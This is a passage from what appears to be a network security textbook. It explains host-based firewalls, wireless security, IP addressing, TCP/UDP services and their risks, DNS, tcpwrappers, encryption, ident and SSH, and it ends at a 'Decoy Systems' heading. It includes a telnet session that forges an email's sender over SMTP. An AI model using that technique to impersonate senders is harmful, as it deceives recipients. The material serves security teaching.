One of the more interesting developments in host-based firewalls is on-demand filtering. If you're not running several services because of known vulnerabilities, you might instead run a monitor that listens on the unused ports – or even on every unused port below 1024. If a remote host tries to connect to your host for NNTP when you're not a news server, or to use the TFTP service, the monitor takes action: logging the attempt, adding the remote host's IP address to a tcpwrapper deny rule, or adding a host-based firewall rule to block the remote host from any connections. If you're concerned about accidentally blocking an innocent host, the monitor might be configured to require multiple probes before firewalling the remote host. Several free and commercial scan-detection monitors are available for different platforms.

Wireless Networking

An increasingly prevalent networking strategy, particularly in locations where adding network infrastructure would be costly or infeasible, is wireless networking. Wireless networks generally follow the IEEE 802.11 standards, which include 802.11b, 802.11a, and 802.11g[239]. In a typical wireless network, devices called *wireless access points* are installed to receive and transmit data within a given area (e.g. one floor of a building). Access points may be bridged to one another, but eventually must connect to the organization's (wired) router if packets are to be routed outside of the organization.

There are several important security considerations in setting up a wireless network. Data on the network should be private – it should be infeasible for an attacker to eavesdrop. Moreover, it should be infeasible for an attacker to join the wireless network and take advantage of its resources (such as Internet connectivity).

Unfortunately, wireless networking does not have a good security record. In particular, most 802.11b networks offer little protection. Although a protocol for link-level encryption called WEP (wired equivalent protocol) is widely used, WEP has been demonstrated to be fundamentally flawed, and attackers with relatively simple hardware (a laptop and a wireless card) can capture enough data packets to divulge the encryption key and render all of the data visible. The most popular access control approaches, such as MAC filtering (only allowing wireless clients with known hardware addresses to connect), are also relatively weak, as MACs are easy to determine and can be changed. Although it's a good idea to enable all of these security features, as well as changing default SSIDs and turning off SSID broadcast, they do not add up to a secure wireless network.

On older 802.11b networks, confidentiality can generally be achieved only by requiring clients to use additional end-to-end encryption (such as SSH or VPN systems) for their connections. Access control can be managed through use of a *captive portal*. In this system, a firewall (ideally, operating on each access point), blocks all

[239] Other wireless devices, like cell phones and PDAs, may use GSM cellular networks instead. Many of the problems that plague 802.11 networks are also prevalent in GSM networks; for more information, see "Mobile Risk Management: E-Finance in the Wireless Environment (2002), by Tom Kellermann for The World Bank: www.worldbank1.org/finance

unauthenticated traffic except traffic directed to the portal application, which is responsible for (securely) authenticating the user, and directing the firewall to allow packets from the authenticated machine to be routed for a limited time. For example, the portal application might run on an SSL-protected web and RADIUS server connected by Ethernet to the access point.

A more secure approach is outlined in the IEEE 802.1x standard. Wireless devices that support this standard use the Extensible Authentication Protocol (EAP) to exchange authentication data. Wireless clients start out in an unauthenticated mode in which they can only send the initial EAP packet. The access point responds with an EAP request for the client's identity, which the client transmits. This conversation occurs over a secure channel, most commonly implemented via a variation of TLS. The access point authenticates the identity and changes the client's mode to authenticated. It transmits an initial WEP key to be used to encrypt the wireless data, and can change keys during the connection; by changing keys frequently, attacks against WEP that rely on capturing many packets with the same key are prevented.

A new specification, Wi-Fi Protected Access™ (WPA), offers an improved encryption system in place of WEP, and the ability to perform authentication either through 802.1x or by use of a shared key. The latter mode is primarily intended for home or small office users who cannot set up their own RADIUS servers for 802.1x authentication. Like wired networks, wireless networks can also benefit from appropriate configuration of packet filters on access points, appropriate location of access points in the network topology (ideally, outside the internal firewall), and similar approaches to hardening network security. Running a network intrusion detection system on the wireless network is also a good practice.

Finally, note that wireless networks are susceptible to jamming. For example, a leaky microwave oven can effectively disrupt a wireless network based on the Wi-Fi (802.11) technology, as both microwave ovens and Wi-Fi systems use the same band of the 2.4Ghz spectrum. Although jamming may not lead to information disclosure, it can effectively make a wireless network unusable.

Two useful books for building secure wireless networks are 802.11 Security and RADIUS, both published by O'Reilly and Associates.

TCP/IP Networking

The Internet Protocol (IP) is the glue that holds together modern computer networks. IP specifies the way that messages are sent from computer to computer; it essentially defines a common "language" that is spoken by every computer stationed on the Internet.

IPv4, the fourth version of the Internet Protocol, has been used on the Internet since 1982. IPv4 is universally used today, and will likely see continued use for many years to come. IPv5 was an experimental protocol that was never widely used. IPv6 is the newest version of the Internet Protocol. IPv6 provides for a dramatically expanded address space, built-in encryption, and plug-and-play Internet connectivity. As of 2003, IPv6 is largely being used on an experimental basis, although use of this new Internet Protocol is slowly increasing.

On the Internet, data is sent in blocks of characters called *datagrams*, or more colloquially, *packets*. Each packet has a small block of bytes called the *header*, which identifies the sender and intended destination on each computer. The header is followed by another, usually larger, block of characters of data called the packet's *contents*. After the packets reach their destination, they are often reassembled into a continuous stream of data; this fragmentation and reassembly process is usually invisible to the user. As there are often many different routes from one system to

another, each packet may take a slightly different path from source to destination. Because the Internet switches packets, instead of circuits, it is called a *packet-switching network*.

The IP packets can themselves be encapsulated within packets used by other network protocols. Today, many IP networks built from "leased lines" actually send IP packets encapsulated within Frame Relay or ATM (Asynchronous Transfer Mode) networks.

IP addressing

Every interface that a computer has on an IPv4 network is assigned a unique 32-bit address. These addresses are often expressed as a set of four 8-bit numbers called *octets*. A sample address is 18.70.0.224. A computer can have multiple network interfaces, each with a different address, and potentially with each on a different LAN or serial line.

Theoretically, the 32-bit IP address allows a maximum of 2^{32} = 4,294,967,296 computers to be attached to the Internet at a given time. In practice, the total number of computers that can be connected is much more than 2^{32} because it is possible for many computers to share a single IP address through the use of technologies such as proxies and Network Address Translation. These multiple systems behind the single IP address can be configured with a variety of policies to govern connectivity between machines, allowing no access, restricted access, or unlimited access in either or both directions.

IP networks

The Internet is a network of networks. Although many people think of these networks as being major networks, such as those belonging to companies like AT&T, WorldCom, and Sprint, most of the networks that make up the Internet are actually local area networks, such as the network in an office building or the network in a small research laboratory. Each of these small networks is given its own network number.

There are two methods of looking at network numbers. The "classical" network numbers were distinguished by a unique prefix of bits in the address of each host in the network. This approach partitioned the address space into a well-defined set of differently sized networks. There are five primary kinds of IP addresses in the "classical" address scheme; the first few bits of the address (the *most significant* bits) define the class of network to which the address belongs. The remaining bits are divided into a network part and a host part:

Class A addresses
Hosts on Class A networks have addresses in the form *N.a.b.c*, in which *N* is the network number and a.b.c is the host number; the most significant bit of *N* must be 0. There are not many Class A networks, as they are quite wasteful; unless your network has 16,777,216 separate hosts, you don't need a Class A network. Nevertheless, many early pioneers of the Internet, such as MIT and Bolt Beranek and Newman (BBN), were assigned Class A networks. Of course, these organizations don't really put all of their computers on the same physical network. Instead, most of them divide their internal networks as (effectively) Class B or Class C networks. This approach is known as *subnetting*.

Class B addresses
Hosts on Class B networks have addresses in the form *N.M.a.b*, in which *N.M* is the network number and *a.b* is the host number; the most significant two bits of *N* must be 10. Class B networks are commonly found at large universities and major commercial organizations.

Class C addresses
Hosts on Class C networks have addresses in the form *N.M.O.a*, in which *N.M.O* is the network number, and *a* is the host number; the most significant three bits of *N* must be 110. These networks can only accommodate a maximum of 254 hosts. (Flaws and incompatibilities between various IP implementations make it unwise to assign IP addresses ending in either 0 or 255.) Most organizations have one or more Class C networks.

Class D addresses
A Class D address is of the form *N.M.O.a*, in which the most significant four bits of *N* are 1110. These addresses are not actually of networks, but of *multicast* groups, which are sets of hosts that listen on a common address to receive broadcasts.

Class E addresses
A Class E address is of the form *N.M.O.P*, in which the most significant four bits of *N* are 1111. These addresses are currently reserved for experimental use.

Several of these network classes had large "holes" – sets of host addresses that were never used. With the explosion of sites on the Internet, a somewhat different interpretation of network addresses has been proposed, which allows more granularity in the assignment of network addresses and less waste. This approach is the *Classless InterDomain Routing* (CIDR) scheme.

As the name implies, there are no "classes" of addresses as in the classical scheme. Instead, networks are defined as being the most significant k bits of each address, with the remaining 32-k bits being used for the host part of the address. Thus, a service provider could be given a range of addresses whereby the first 14 bits of the address are fixed at a particular value (the network address), and the remaining 18 bits represent the portion of the address available to allocate to hosts. This method allows the service provider to allocate up to 218 distinct addresses to customers.

CIDR networks are often abbreviated as the lowest IP address in the range, followed by a slash and the size, in bits, of the network portion. For example, the network 128.200.0.0/14 represents all of the IP addresses from 128.200.0.0 to 128.203.255.255. Another way that this network is often abbreviated is with the lowest IP address in the range, followed by a slash and the netmask, which is the dotted octet in which the *k* most significant bits are 1s and all others are 0s. In our example, this abbreviation would be 128.200.0.0/255.252.0.0.

The CIDR scheme is compatible with the classical address format, with Class A addresses using an 8-bit network field (e.g., 10.0.0.0/8), Class B networks using a 16-bit network address (e.g., 192.168.0.0/16), and so on.

Packets and Protocols

Today there are four main kinds of IP packets that are sent on the Internet that will be seen by typical hosts (additional types of packets may be used by routers on major backbones or in VPNs). Each is associated with a particular protocol:

ICMP
Internet Control Message Protocol. This protocol is used for low-level operation of the IP protocol. There are several subtypes—for example, for the exchange of routing and traffic information.

TCP
Transmission Control Protocol. This protocol is used to create a two-way stream connection between two computers. It is a "connected" protocol and includes time-outs and retransmission to ensure reliable delivery of information.

UDP
User Datagram Protocol. This protocol is used to send packets from host to host. The protocol is "connectionless" and makes a best-effort attempt at delivery. Although the protocol is technically unreliable because it does not guarantee that information sent will be delivered, in practice most UDP packets reach their destination under normal operating circumstances.

IGMP
Internet Group Management Protocol. This protocol is used to control multicasting, which is the process of purposely directing a packet to more than one host. Multicasting is the basis of the Internet's multimedia backbone, the MBONE. (Currently, IGMP is not used inside the MBONE, but is used on the edge.)

ICMP

The Internet Control Message Protocol is used to send messages between gateways and hosts regarding the low-level operation of the Internet. For example, the ping command uses ICMP Echo packets to test for network connectivity; the response to an Echo packet is usually either an ICMP Echo Reply or an ICMP Destination Unreachable message type.

In addition to the information in the IP header (packet source and destination addresses), each ICMP packet contains an ICMP header that includes an 8-bit packet type value. Some of the ICMP packet types are no longer used on the Internet, although many of them remain supported in most TCP/IP implementations. This has been an occasional source of security problems. In particular, packet types 3 (destination unreachable), 4 (source quench), and 5 (redirect) present security risks, because an attacker who can craft ICMP packets of these types can redirect network traffic or perform a denial of service. Although the other packet types present less of an immediate risk, different versions of different operating systems often have subtly different responses to these ICMP packets, and attackers can use the pattern of responses to help "fingerprint" the operating system on your system to exploit known bugs. If you use a firewall, you should be sure that many ICMP packet types are blocked or monitored. You can generally safely block incoming ICMP packets of types 5, 13 (timestamp request), 14 (timestamp reply), 17 (address-mask request), and 18 (address-mask reply), and outgoing ICMP packets of types 5, 11 (time exceeded), 12 (parameter problem), 13, 14, 17, and 18.

TCP

TCP provides a reliable, ordered, two-way transmission stream between two programs that are running on the same or different computers. "Reliable" means that every byte transmitted is guaranteed to reach its destination (or you are notified that the transmission failed), and that each byte arrives in the order in which it was sent. Of course, if the connection is physically broken, bytes that have not been transmitted will not reach their destination unless an alternate route can be found. In such an event, the computer's TCP implementation should send an error message to the process that is trying to send or receive characters, rather than give the impression that the link is still operational.

Each TCP connection is attached at each end to a *port*. Ports are identified by 16-bit numbers. For most TCP protocols the server uses the port number assigned to the service it is providing, and the client's port number is randomly chosen by the client on a per-connection basis. Some well-known port numbers are port 80 for HTTP servers and port 25 for SMTP servers.

On the wire, TCP packets are IP packets that include an additional *TCP header*. This header contains, among other things:

- TCP port number of the packet's source.
- TCP port number of the packet's destination.
- Sequence information, so that the receiver can correctly assemble the information in this TCP packet to its correct point in the TCP stream.
- Flow control information, which tells the receiver how many more bytes the originator of the packet can receive. This is called the TCP *window*.
- TCP checksum.

At any instant, every IPv4TCP connection on the Internet can be identified by a set of two 32-bit numbers and two 16-bit numbers:

- Host address of the connection's originator (from the IP header)
- Port number of the connection's originator (from the TCP header)
- Host address of the connection's target (from the IP header)
- Port number of the connection's target (from the TCP header)

The TCP protocol uses two special bits in the packet header, SYN and ACK, to negotiate the creation of new connections. To open a TCP connection, the requesting host sends a packet that has the SYN bit set but does not have the ACK bit set. The receiving host acknowledges the request by sending back a packet that has both the SYN and the ACK bits set. Finally, the originating host sends a third packet, again with the ACK bit set, but this time with the SYN bit unset. This process is called the TCP “three-way handshake.” By looking for packets that have theSYN bit set and the ACK bit unset, one can distinguish packets requesting new connections from those that are sent in response to connections that have already been created. This distinction is useful when constructing packet filtering-firewalls.

TCP is used for most Internet services that require the sustained synchronous transmission of a stream of data in one or two directions. For example, TCP is used for the hypertext transfer protocol (HTTP), remote terminal service, file transfer, and electronic mail. TCP is also used for sending commands to displays using the X Window system. Table 5A identifies some common TCP services. Significant security problems of exploitable weaknesses have been found in the majority of them, as indicated in the notes.

Security concerns:

a) Service can be remotely exploited to create a denial-of-service attack.
b) Protocol requires that a password be transmitted in cleartext across the Internet without the use of any encryption (under IPv4).
c) Improper configuration of SMTP servers, CGI scripts, and proxies is a leading contributor to the relaying of unwanted junk e-mail on the Internet.
d) Service is commonly configured for authentication using IP addresses. This is subject to spoofing and other kinds of attacks.

UDP

The User Datagram Protocol provides a simple, unreliable system for sending packets of data between two or more programs running on the same or different computers. “Uunreliable” means that the operating system does not guarantee that every packet sent will be delivered, or that packets will be delivered in order. UDP does make a best effort to deliver the packets, however. On a LAN or uncrowded Internet path, UDP often approaches 100% reliability. UDP's advantage is that it has less overhead than TCP—less overhead lets UDP-based services transmit information

Table 5A. Some common TCP services and ports

TCP port	Service name	Function	Security concerns	Recommendation
7	echo	Echoes characters (for testing)	a	Disable
9	discard	Discards characters (for testing)		
13	daytime	Time of day	a	Disable
19	chargen	Character generator	a	Disable
21	ftp	File Transfer Protocol (FTP)	b	Disable; use http or ssh
22	ssh	Secure Shell (virtual terminal and file transfer)		Highly recommended
23	telnet	Virtual terminal	b	Disable; use ssh
25	smtp	Electronic mail	c	
37	time	Time of day	a	Disable
42	nameserver	TCP nameservice		
43	whois	NIC whois service		
53	domain	Domain Name Service (DNS)	d	
79	finger	User information		Disable
80	http	World Wide Web (WWW)	b,c	
110	pop3	Post Office Protocol (POP3)	b	Disable use of plaintext passwords, or use POP over TLS instead
111	sunrpc	Sun Microsystems' Remote Procedure Call (RPC)	d	Restrict access
113	auth	Remote username authentication service		Use a version that returns encrypted tokens (see below)
119	nntp	Network News Transfer Protocol (NNTP) (Usenet)	b, d	Restrict access
143	imap	Interactive Mail Access Protocol	b	Disable use of plaintext passwords, or use IMAP over TLS instead
443	https	SSL-encrypted HTTP		
512	exec	Executes commands on a remote Unix host		Disable
513	login	Logs in to a remote Unix host (rlogin)	b, d	Disable
514	shell	Retrieves a shell on a remote Unix host (rsh)	b, d	Disable
515	printer	Remote printing	d	Restrict access
1080	socks	SOCKS application proxy service	c	Restrict access
2049	NFS	NFS over TCP	d	Restrict access
6000-6010	X	X Window system	b, d	Restrict access, tunnel through SSH

with as much as 10 times the throughput. UDP is used primarily for Sun's NetworkInformation System (NIS) and Network Filesystem (NFS), for resolving hostnames, and for transmitting routing information. It is also used for services that aren't affected negatively if they miss an occasional packet because they will get another periodic update later, or because the information isn't really that important.

As with TCP, UDP packets are also sent from a port on the sending host to another port on the receiving host. Each UDP packet also contains user data. If a program is listening to the particular port and is ready for the packet, it will be received. If no program is listening, the packet will be ignored, and the receiving host will return an ICMP error message. If a program is listening but is not prepared to receive the packet, it may simply be queued and eventually received, or simply lost.

In contrast to TCP packets, UDP packets can be broadcast, which causes them to be sent to the same port on every host that resides on the same local area network. Broadcast packets are used frequently for services such as time of day.

Ports are identified by 16-bit numbers. Table 5B lists some common UDP ports.

Table 5B. Some common UDP services and ports

UDP port	Service name	Function	Security concerns	Recommendation
7	echo	Returns the user's data in another datagram	a	Disable
9	discard	Does nothing		
13	daytime	Returns time of day	a	Disable
19	chargen	Character Generator	a	Disable
37	time	Returns time of day	a	Disable
53	domain	Domain Name Service (DNS)	c	Restrict access except on public nameservers
67, 68	bootpc, bootps	Dynamic Host Configuration Protocol (DHCP)		Restrict access
69	tftp	Trivial File Transfer Protocol (TFTP)	c	Disable
111	sunrpc	Sun Microsystems' Remote Procedure Call (RPC) portmapper	c	Restrict access
137-139, 445	Smb	Microsoft networking and file sharing		Restrict access
123	ntp	Network Time Protocol (NTP)		Restrict access
161	snmp	Simple Network Management Protocol (SNMP)	b, c	Disable or restrict access
513	who	Collects broadcast messages about who is logged into other machines on the subnet		
514	syslog	System-logging facility	a	Restrict access
517	talk	Initiates a talk request		
518	ntalk	The "new" talk request		
520	route	Routing Information Protocol (RIP)	c	Disable (use static routing) or restrict access
533	netwall	Write on every user's terminal	a	Disable
2049	NFS (usually)	Network Filesystem (NFS)	c	Restrict access

Security concerns:

a) Service can be remotely exploited to create a denial-of-service attack.
b) Protocol requires that a password be transmitted in cleartext across the Internet without the use of any encryption.
c) Service is commonly configured for authentication using IP addresses. This is subject to spoofing and other kinds of attacks.

Clients and Servers

The Internet Protocol is based on the *client/server model*. Programs called *clients* initiate connections over the network to other programs called *servers*, which wait for the connections to be made. One example of a client/server pair is the Network Time System. The client program is the program that asks the network server for the time. The server program is the program that listens for these requests and transmits the correct time. In Unix parlance, server programs that run in the background and wait for user requests are often known as *daemons*. In the Microsoft world, they are called *services*.

You can connect to an arbitrary TCP/IP port of a computer using the *telnet* program. (The *telnet* program was originally used for logging into remote systems. However, as this requires sending an unencrypted password over the network, such use of the *telnet* program is now strongly discouraged.) For instance, you might connect to port 25 (the SMTP port) to fake some mail without going through the normal mailer:

```
% telnet control.mil 25
Trying 45.1.12.2 ...
Connected to hq.control.mil.
Escape character is '^]'.
220 hq.control.mil ESMTP Sendmail 8.11.6/8.11.6; Sun, 18 Aug 2002 21:21:03 –0500
HELO kaos.org
250 hq.control.mil Hello kaos.org, pleased to meet you
MAIL FROM:<agent86@control.mil>
250 <agent86>... Sender ok
RCPT TO:<agent99@control.mil>
550 <agent99>... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
To: agent99
From: Max <agent86>
Subject: tonight

99, I know I was supposed to take you out to dinner tonight, but I have been captured by KAOS agents, and they
won't let me out until they finish torturing me. I hope you understand. Love, Max
.
250 UAA01441 Message accepted for delivery
QUIT
221 hq.control.mil closing connection
Connection closed by foreign host.
%
```

Hostnames and DNS

A *hostname* is the name of a computer on the Internet. Hostnames make life simpler for users: they are easier to remember than IP addresses. You can change a computer's IP address but keep its hostname the same. *A single hostname can have more than one IP address, and a single IP address can be associated with more than one hostname*. Both of these facts have profound implications for people who are attempting to write secure network programs.

Hostnames must begin with a letter or number and may contain letters, numbers, and a few symbols, such as the hyphen (-)[240]. Case is ignored. A sample hostname is *tock.cerias.purdue.edu*. For more information on hostnames, see RFC 1122 and RFC 1123.

Each hostname has two parts: the computer's *machine name* and its *domain*. The computer's machine name is the name to the left of the first period; the domain name is everything to the right of the first period. In our example above, the machine name is *tock*, and the domain is *cerias.purdue.edu*. The domain name may represent further hierarchical domains if there is a period in the name. For instance, *cerias.purdue.edu* represents the CERIAS center domain, which is part of the Purdue University domain, which is, in turn, part of the Educational Institutions top-level domain.

In the early days of the Internet, a single file (*/etc/hosts*) contained the address and name of each computer on the Internet. But as the file grew to contain thousands of lines, and as changes to the list of names started being made on a daily basis, a file soon became impossible to maintain. Instead, the Internet developed a distributed network-based naming service called the Domain Name Service (DNS).

DNS implements a large-scale distributed database for translating hostnames into IP addresses and vice-versa, and performing related name functions. The software performs this function by using the network to resolve each part of the hostname distinctly. For example, if a computer is trying to resolve the name *girigiri.gbrmpa.gov.au*, it would first get the address of a root domain server (usually stored in a file) and ask that machine for the address of an *au*top-level domain server. The computer would then ask the *au* domain server for the address of a gov.au domain server, and then would ask that machine for the address of a *gbrmpa.gov.au* domain server. Finally, the computer would then ask the *gbrmpa.gov.au* domain server for the address of the computer called *girigiri.gbrmpa.gov.au*. A variety of caching techniques are employed to minimize overall network traffic.

DNS hostname lookups are typically performed over UDP, but DNS also uses TCP for some operations.

IP Security

The Internet and the IP protocols are vulnerable to many different kinds of attacks, including password guessing, social engineering, bugs in software, network sniffing, packet spoofing and data tampering, connection hijacking, and denial of service attacks. Many of these attacks were anticipated years before they arose in the wild. Yet the IP protocols and the Internet itself are not well-protected against them.

IP was not designed to provide security and is not resilient to purposeful attack. Several techniques can add security to IP networks. These include application access controls, using encryption, advanced authentication systems, SSH, and decoy systems (honeypots). Each is discussed in detail below. In addition, the use of firewalls (discussed earlier), hardening server hosts (discussed in chapter 5-5), and physical isolation of vulnerable systems can be employed to enhance security.

[240] Technically, hostnames should not contain the underscore (_) character, but most systems that map hostnames to IP addresses grudgingly accept the underscore, and Microsoft's Active Directory service effectively requires it, in violation of at least one RFC.

Application Access Controls

Many network applications can be configured with access control lists that determine which hosts are permitted to connect to the application (or, in a less secure but common configuration, which hosts are prohibited from connecting).

On Unix systems, a standard access control mechanism for applications has developed around Wietse Venema's tcpwrappers system, which consists of a library for access control checking (libwrap), a wrapper program for adding access checks to network servers that don't use the library (tcpd), and a pair of access control configuration files (/etc/hosts.allow and /etc/hosts.deny). On modern systems, /etc/hosts.deny should contain a catchall deny rule ("ALL:ALL"), while /etc/hosts.allow should contain rules that permit access to specific services by specific hosts.

In addition to permitting or denying connections, the tcpwrappers system can perform double reverse name lookups, do extra logging, perform ident lookups on connections (see below), send banners to connecting clients, and even run auxiliary commands or substitute a fake environment to study the behavior of the connecting client. Accordingly, tcpwrappers can make up for deficiencies in other network server programs. For details on configuring tcpwrappers, see PUIS, 315-323.

On other operating systems, each application typically manages its own access control lists (or relies on the system's host-based packet filter).

Using Encryption to Protect IP Networks from Eavesdropping

IP is designed to get packets from one computer to another computer; the protocol makes no promise as to whether other computers on the same network will be able to intercept and read those packets in real time. Such interception is called *eavesdropping* or *packet sniffing*.

On Ethernet and unswitched twisted-pair networks, the potential for eavesdropping is high because packets can be intercepted by any host on the network. Using an Ethernet switch can dramatically reduce the potential for eavesdropping. A switch is a special-purpose device that transmits packets only to the computers for which they are destined. However, it is still possible to monitor a switched network by programming the switch to create a mirror or monitor port, or to attack a switch to attempt to confuse its internal table associating computers and addresses. Although token ring networks are not inherently broadcast, in practice all packets that are transmitted on the ring pass through, on average, one-half of the interfaces that are on the network, so equivalent concerns apply. As discussed earlier in this chapter, telephone lines and wireless networks can also be sniffed; in a similar fashion, IP transmissions over cable TV or power lines can be intercepted.

In short, with most network technologies it is impossible to prevent or even detect eavesdropping. The only thing you can do is assume that your network traffic is in fact being eavesdropped and use encryption so that the recorded network traffic will not be useful to an attacker[241].

There are several places where encryption can be used to improve the security of IP networking protocols:

Link-level encryption

With link-level encryption, packets are automatically encrypted when they are transmitted over an unsecure data link and decrypted when they are received. Eavesdropping is defeated because an eavesdropper does not know how to decrypt packets that are intercepted. Link-level encryption is available on many radio-networking products, but is harder to find for other broadcast network technologies such as Ethernet or FDDI. Special link encryptors are available for modems and leased-line links.

[241] Even with encryption, however, the source and destination addresses and ports of packets can be determined by an attacker and used for traffic analysis.

End-to-end encryption
With end-to-end encryption, the host transmitting the packet encrypts the packet's data; the packet's contents are automatically decrypted when they are received at the other end. Some organizations that have more than one physical location use encrypting routers for connecting to the Internet. These routers automatically encrypt packets that are sent from one corporate location to the other to prevent eavesdropping by attackers on the Internet (these are known as VPNs); however, the routers do not encrypt packets that are sent from the organization to third-party sites on the network.

Today, this kind of packet-level encryption is typically implemented using the IPsec protocol (described in RFC 2401). IPsec can be used to transparently encrypt all communications between two hosts, between a host and a network, or between two networks. Using IPsec is a powerful way to automatically add encryption to systems that otherwise do not provide it.

Application-level encryption
Instead of relying on hardware to encrypt data, encryption can be done at the application level. For example, the Kerberos version of the *telnet* command can automatically encrypt the contents of the telnet data stream in both directions. The Secure Shell protocol (ssh) automatically provides for encryption of the data stream.

Application-level encryption can also be provided by tunneling or wrapping an existing application-level protocol using a second protocol. For example, the Secure Shell protocol provides for TCP/IP ports and connections to be "forwarded" from one host to another over a cryptographically-protected tunnel. Individual application servers and clients can also be wrapped using the SSL and TLS protocols.

Simply using encryption is not enough: the encryption must be properly implemented for it to provide protection. As discussed above, WEP, the original encryption standard for 802.11b wireless LANs does not provide any true confidentiality at all: the encryption implementation is flawed, and it is trivial to determine the encryption keys used by WEP systems.

Advanced Authentication Systems

Most IP services do not provide a strong system for positive authentication. As a result, an attacker can transmit information and claim that it comes from another source. The lack of positive authentication presents problems, especially for services such as DNS, electronic mail, and Netnews (Usenet). In all of these services, the recipient of a message, be it a machine or a person, is likely to take positive action based on the content of a message, whether or not the message sender is properly authenticated.

Authentication systems have been developed for each of these services. DNS supports the cryptographic signing of zone data and authentication between nameservers using a shared secret key, mail servers can authenticate valid senders against a database using the SMTP AUTH extension, and Usenet messages can be cryptographically signed with PGP. However, adoption of these systems has not been widespread to date.

IPsec, discussed above, also provides for strong authentication between peers. IP traffic received over such a VPN is more likely to be from the source that it claims to be, but for most Internet services, VPNs will not be used.

ident

Many of the authentication problems arise because the TCP/IP protocol is a system for creating communication channels between computers, and not between users. When a server receives a TCP/IP connection from a client, it

knows the IP address of the client. However, the server has no way to readily ascertain the name of the person who initiated the TCP/IP connection.

When the TCP/IP protocol suite was developed, there was no need for a general-purpose approach for learning the names of people initiating TCP/IP connections. Protocols that required usernames (e.g., SMTP and FTP) provided them. As the Internet has grown, network managers have discovered a very important reason for knowing the name of a person initiating a TCP/IP connection: accountability. If a remote system administrator discovers that her computer was attacked at 5:00 p.m. by a user at a computer named *fas.harvard.edu* , it is important to be able to trace that attack back to the specific user and account that was responsible for the attack so that either the user can be punished or the compromised account can be terminated.

The identification protocol gives you a way of addressing this problem with a simple callback scheme. When a server wants to know the "real name" of a person initiating a TCP/IP connection, it simply opens a connection to the client machine's ident daemon (*identd*) and sends a description of the TCP/IP connection in progress; the remote machine sends a human-readable representation of the user who is initiating the connection.

Traditionally, the information sent back to the requesting system was the user's username. More recent implementations of the ident daemon provide for an encrypted token to be sent back; the token can later be decrypted by the remote site with the cooperation of the site running the ident daemon. This prevents *identd* lookups from being used to get username information on a remote host without its cooperation.

The identification protocol depends on the honesty of the computer that is originating the TCP/IP connection. If your system is under attack from a multiuser system that has not been otherwise compromised, *identd* may be valuable. On the other hand, if your system is under attack from a single-user computer that is not running *identd* or is running an *identd* that has been gimmicked to give untrue or misleading information, the response may be worthless. Because major IRC networks require clients to run an ident daemon, there are many free Windows-based *ident* daemons that return false responses.

In general, the responses of *identd* queries are more useful to the administrators of the site that sends the response than they are to the site that receives it. Thus, logging *ident* queries may not help you, but can be a courtesy to others—it lets the remote site know which account was involved in the attack. That's especially useful if the attacker went on to erase log files or otherwise damage the originating site.

Not surprisingly, *identd* has been most useful in tracking down attackers originating at universities and other organizations with large multiuser Unix systems. Sites that have nonprivileged interactive Unix users should run *ident* to help track down accounts that have been compromised during an incident.

SSH (Secure Shell)

Originally developed by Tatu Ylonen, SSH (the Secure Shell) is a cryptographically-enabled protocol for remote login, file copying, and TCP connection tunneling (also known as *port forwarding* by SSH users.) Although originally implemented solely by Tatu Ylonen's *ssh* command-line Unix utility, today the SSH protocol is implemented by dozens of programs on many platforms. The two most popular implementations are Ylonen's original SSH, and OpenSSH, developed by the Open-BSD Project. Commercial clients and servers are also available.

SSH has become a crucial piece of network security infrastructure because it can replace several protocols and programs that transmit plaintext passwords (including telnet, rlogin, rsh, rcp, rdist, and ftp). In addition, the TCP connection tunneling facility makes it possible to use SSH as the basis for a virtual private network. SSH has particular support for tunneling the X-Windows protocol.

There are two versions of the SSH protocol. Although both protocols allow the symmetric cipher to be negotiated, SSH Version 1 relies on the RSA public key encryption algorithm for authentication and initial key exchange. SSH Version 2 has extended the protocol by allowing both the RSA and the DSA public key encryption algorithms and has corrected several flaws in the SSH1 protocol. Version 2 is therefore recommended.

Host authentication with SSH

Every host that runs an SSH server is supposed to have its own unique RSA public and private key pair, called the SSH HostKey. Version 2 servers have a second key pair called the HostDSAKey that uses the DSA encryption algorithm. Most SSH startup scripts will automatically create this key the first time that the server is run if the key does not already exist.

When an SSH client connects to the server, the server provides its public key. This key serves two purposes. First, the client uses this key to encrypt information that is sent back to the server during the authentication phase. Second, the public key is used by the server to establish its identity. Each time a client connects to the server, the server provides the same public key to the client; the client is thus able to determine, each time it connects to the server, that it is communicating with the same server as it was on previous occasions.

The host key protects against two kinds of attacks. First, it assures that you are connecting to the correct host. If the host you intend to connect to has changed its IP address or has a new DNS name (or if somebody has attacked your DNS system and it is handing out the wrong IP addresses), the SSH client will note that the new host has a different HostKey from the older address and you will, presumably, not provide your password. Second, the HostKey assures that you will have an encrypted connection directly to the remote server, and that no intermediate machine is engaging in a man-in-the-middle attack. For a successful man-in-the-middle attack to take place, an attacker would need to provide his own public key—a public key to which he presumably had the matching private key. (An attacker mounting a man-in-the-middle attack would not provide the HostKey of the server under attack because if he did, he would be unable to decrypt the resulting communications.)

Unfortunately, HostKeys seem to change on a fairly regular basis — sometimes whenever a new operating system is installed, or when a new SSH installation inadvertently creates a new host key, rather than preserving the old one. Therefore, if the HostKey of a server that you communicate with changes, you shouldn't assume that the server has been compromised or that a man-in-the-middle attack is taking place. But you might want to look into why the key was changed.

Client authentication with SSH

When a client connects to the SSH server, the client provides the username of the account that it wishes to use. It then provides a suitable authentication credential to prove that it is entitled to the account. If the server is satisfied by the client's credentials, it starts up a copy of the user's shell, and logs the user in.

SSH offers a variety of secure methods for authenticating clients to the server's operating system:[242]

- Clients can provide a valid password for the account on the remote server. This password is not transmitted in plain text.
- Clients can prove their identities using public key cryptography, if the client presents a public key that is in the user's *authorized keys* file and the client can decrypt information that is encrypted with that public key.
- Clients can authenticate using Kerberos, one-time passwords, or other challenge/response systems available on the server.

[241] SSH also offers some less secure methods that are based on the client's IP address and should generally be avoided.

TCP connection tunneling

SSH can tunnel a TCP connection between a second client and server. First, the ssh client is used to make a connection to the ssh server on the remote machine, and to request a tunnel to given other port on the remote machine. If the ssh client successfully authenticates and connects, it listens on a new port on the local machine; the ssh server initiates a connection to the second server on the remote machine. The second client is directed to connect to the new port on the local host, and data received on this new port is transmitted by ssh to the remote sshd server, which passes it on to the second remote server.

Some protocols cannot be protected with a simple TCP tunnel. FTP, for example, requires multiple tunnels (some of which are difficult to predict), and so most SSH distributions provide a substitute ftp client (often called sftp) that works as users expect an FTP program to, but uses an SSH connection. The X-Windows protocol presents some similar difficulties, but specific support for tunneling X-Windows connections is available in most SSH applications. Instead of running a remote X client on a local X server, SSH creates a tunnel and a virtual X display that the remote client can safely use to communicate with the local server via SSH.

Decoy Systems

